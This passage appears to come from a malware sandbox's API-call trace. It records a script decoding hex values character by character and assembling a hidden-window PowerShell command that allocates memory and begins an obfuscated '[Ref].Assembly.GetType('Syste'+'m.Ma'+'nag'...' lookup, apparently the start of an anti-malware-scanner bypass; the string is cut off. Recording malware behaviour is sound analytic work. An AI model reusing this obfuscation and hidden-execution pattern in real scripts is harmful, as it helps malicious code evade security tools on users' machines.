lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.079] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.079] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.079] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.079] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.079] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.080] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.080] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.080] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.080] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.080] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.080] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.081] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.081] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.081] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0072.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0072.081] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.081] VarBstrCat (in: bstrLeft="&H", bstrRight="5C", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.081] VarParseNumFromStr (in: strIn="&H5C", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.081] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="\\") returned 1 [0072.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0072.081] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m", bstrRight=".", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.082] VarBstrCat (in: bstrLeft="&H", bstrRight="9A", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.082] VarParseNumFromStr (in: strIn="&H9A", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.082] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="š") returned 1 [0072.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="š", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9a£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0072.082] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.", bstrRight="M", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.082] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.082] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.082] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0072.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.082] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0072.082] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.M", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.083] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.083] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.083] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.083] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.083] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.083] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.083] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.083] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.084] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.084] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.084] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.084] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.084] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.084] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.084] VarBstrCat (in: bstrLeft="&H", bstrRight="DC", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.084] VarParseNumFromStr (in: strIn="&HDC", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.084] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0072.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ü", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ü£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0072.085] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'", bstrRight="n", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.085] VarBstrCat (in: bstrLeft="&H", bstrRight="C2", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.085] VarParseNumFromStr (in: strIn="&HC2", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.085] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="Â") returned 1 [0072.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Â", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0072.085] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'n", bstrRight="a", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.085] VarBstrCat (in: bstrLeft="&H", bstrRight="CE", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.085] VarParseNumFromStr (in: strIn="&HCE", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.085] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Î") returned 1 [0072.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Î", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Σµ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0072.086] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'na", bstrRight="g", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.086] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.086] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.087] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.087] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.087] VarBstrCat (in: bstrLeft="&H", bstrRight="56", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.087] VarParseNumFromStr (in: strIn="&H56", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.088] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="V") returned 1 [0072.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.088] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0072.088] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'", bstrRight="+", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.088] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.088] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.089] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0072.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="N", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87f38, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0072.089] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+", bstrRight="'", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.089] VarBstrCat (in: bstrLeft="&H", bstrRight="CA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.089] VarParseNumFromStr (in: strIn="&HCA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.089] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="Ê") returned 1 [0072.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ê", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ê£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.089] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87788, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0072.089] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'", bstrRight="e", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.090] VarBstrCat (in: bstrLeft="&H", bstrRight="DA", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.090] VarParseNumFromStr (in: strIn="&HDA", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0 | out: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0) returned 0x0 [0072.090] VarNumFromParseNum (in: pnumprs=0xbcb38f61d8, rgbDig=0xbcb38f61f0, dwVtBits=0x8, pvar=0xbcb38f6260 | out: pvar=0xbcb38f6260) returned 0x0 [0072.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87b48, cchWideChar=1 | out: lpWideCharStr="Ú") returned 1 [0072.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ú", cchWideChar=1, lpMultiByteStr=0xbcb38f6290, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ú£µ½ù\x7f", lpUsedDefaultChar=0x0) returned 1 [0072.090] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f6260, cbMultiByte=1, lpWideCharStr=0x2885da87e48, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0072.090] VarBstrCat (in: bstrLeft="-WindowStyle Hidden -Command \"\"$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);[Ref].Assembly.GetType('Syste'+'m.Ma'+'nag'+'e", bstrRight="m", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.090] VarBstrCat (in: bstrLeft="&H", bstrRight="4E", pbstrResult=0xbcb38f6280 | out: pbstrResult=0xbcb38f6280) returned 0x0 [0072.090] VarParseNumFromStr (in: strIn="&H4E", lcid=0x409, dwFlags=0x80000000, pnumprs=0xbcb38f61d8, 